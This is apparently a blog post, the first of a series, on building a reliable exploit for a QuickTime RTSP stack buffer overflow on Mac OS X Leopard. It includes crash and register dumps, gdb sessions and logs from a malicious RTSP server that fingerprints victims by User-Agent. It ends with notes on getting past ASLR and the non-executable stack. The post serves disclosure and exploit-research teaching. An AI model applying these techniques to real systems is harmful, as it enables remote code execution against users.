A new vulnerability has been published for Apple’s Quicktime software. It definitely looks like an easy one: a classic stack-based buffer overflow. We started testing the original proof of concept against Mac OS X 10.5.1 (9B18) (that’s Leopard!)…
Exception Type: EXC_BAD_ACCESS (SIGSEGV) Exception Codes: KERN_INVALID_ADDRESS at 0x000000004141416b Crashed Thread: 0
It’s possibly embarrassing for a high profile application to have this kind of issues (it’s 2007 already, approaching 2008…), but they are found everywhere. Apple is really trying to make advances in security matters, even if they didn’t manage to implement some of them properly for Leopard.

After some tinkering, we started developing our own multi-platform exploit. This vulnerability, like most plain simple stack-based buffer overflows, allows full register control, therefore code execution is a piece of cake (the register status below comes from running the original Python code, available from Milw0rm):
Thread 0 crashed with X86 Thread State (32-bit): eax: 0x41414141 ebx: 0x166a36f0 ecx: 0x00000000 edx: 0x00000041 edi: 0xbfffd308 esi: 0x6875683f ebp: 0xbfffd438 esp: 0xbfffd180 ss: 0x0000001f efl: 0x00010207 eip: 0x166a41c5 cs: 0x00000017 ds: 0x0000001f es: 0x0000001f fs: 0x00000000 gs: 0x00000037 cr2: 0x4141416b
Nowadays, it’s a common practice to release rather incomplete and non-reliable exploits or so-called “proof of concept” code (although, people out there don’t agree on naming conventions; an exploit is not a proof of concept, if it’s really reliable). They are usually coded in Python (we don’t really know what’s so great about it as a language for exploit development, Ruby is possibly much more flexible and efficient for such purposes), have poor indentation and code style, use publicly available shellcode and repetitive techniques, and last but not least, they are poorly automated. Releasing a proof of concept nowadays is generally a matter of getting those nifty 15 minutes of fame. Then it vanishes…
With the initial exploit we developed, we can reliably fingerprint the remote Quicktime version, the architecture and Mac OS X version (this can be extracted from the User-Agent of the request, for example: QuickTime/7.3 (qtver=7.3;cpu=IA32;os=Mac 10.5.1)). The exploit decides what payload and its related information will be used:
qtimertsp_redux.rb: Listening on 0.0.0.0:554 qtimertsp_redux.rb: Connection from localhost (127.0.0.1:59238) qtimertsp_redux.rb: Request from Quicktime: 7.3 on Mac 10.5.1 IA32 qtimertsp_redux.rb: Building payload for '7.3-Mac 10.5.1-IA32'... qtimertsp_redux.rb: Return address: 0xdeadbeef, shellcode: 10 bytes. qtimertsp_redux.rb: Payload: 315 bytes (padding=oooooo...=0x6f) qtimertsp_redux.rb: Sent 748 bytes...
Program received signal EXC_BAD_ACCESS, Could not access memory. Reason: KERN_INVALID_ADDRESS at address: 0xdeadbeef 0xdeadbeef in ?? () (gdb) back #0 0xdeadbeef in ?? () #1 0x645a4145 in ?? () Cannot access memory at address 0xdeadbef
qtver = request.scan(/User-Agent: QuickTime\/(.+?) \(qtver=(.+?);cpu=(.+?);os=(.+?)\)\r\n/).flatten
target = Hash.new
target[:version] = qtver[0]
target[:arch] = qtver[2]
target[:os] = qtver[3]
The status of registers is as follows:
eax 0xffffeae6 -5402 ecx 0x5 5 edx 0x0 0 ebx 0x11223344 287454020 esp 0xbfffd210 0xbfffd210 ebp 0xdefacedd 0xdefacedd esi 0xbabebeef -1161904401 edi 0x31337666 825456230 eip 0xdeadbeef 0xdeadbeef
Note the clear control over EBP, EBX, ESI, EDI and obviously EIP itself. In order to bypass Address Space Layout Randomization (ASLR) and non-executable stack altogether, influencing as many registers as possible is a required condition. We can’t just jump into our shellcode if it’s located at the stack, since it will trigger an exception and the exploit will fail. This would also happen in Tiger.
Program received signal EXC_BAD_ACCESS, Could not access memory. Reason: KERN_PROTECTION_FAILURE at address: 0xbfffd1f2 0xbfffd1f2 in ?? () (gdb) shell sudo dmesg | grep execution Data/Stack execution not permitted: QuickTime Player[pid 19621] at virtual address 0xbfffd000, protections were read-write
(gdb) x/4i 0xbfffd1f2 0xbfffd1f2: int3 0xbfffd1f3: int3 0xbfffd1f4: int3 0xbfffd1f5: int3
__TEXT 91b32000-91c8d000 [ 1388K] r-x/r-x SM=COW /usr/lib/libSystem.B.dylib __TEXT 91939000-91a19000 [ 896K] r-x/r-x SM=COW /usr/lib/libobjc.A.dylib __TEXT 8fe00000-8fe2e000 [ 184K] r-x/rwx SM=COW /usr/lib/dyld __TEXT 00001000-000e6000 [ 916K] r-x/rwx SM=COW /Applications/QuickTime Player.app/Contents/MacOS/QuickTime Player __TEXT 95f40000-9673b000 [ 8172K] r-x/r-x SM=COW /System/Library/Frameworks/AppKit.framework/Versions/C/AppKit
Unfortunately, Mac OS X lacks of several measures that would make exploitation less feasible:
mmap()base is not randomized.- There’s no heap randomization… thus finding a relatively static address located in dynamically allocated memory is rather easy. Jump there and you can already execute code.
- IA32 assumes by default that
PROT_READimpliesPROT_EXEC.- Thus, memory allocated via
malloc()is executable. - Although, for 64 bit applications, heap is non-executable.
- Thus, memory allocated via
- Leopard for PowerPC does not implement non-executable stack!
- Feeling like working on PPC shellcode?
- PPC based systems are still exposed to trivial exploitation of stack-based buffer overflows.
- Leopard does not implement memory protection enforcement.
- Stack can be made executable via
mprotect(). Once the stack is made executable again, there’s little you can do to prevent execution from continuing there. - Return to
libSystemmight be more difficult now due to ASLR, but still possible.- We will show a simple technique allowing us to help bypassing it and NX stack altogether…
- Stack can be made executable via
Continue to the second part of this article!






















0 comments ↓
There are no comments yet...Kick things off by filling out the form below.
Leave a Comment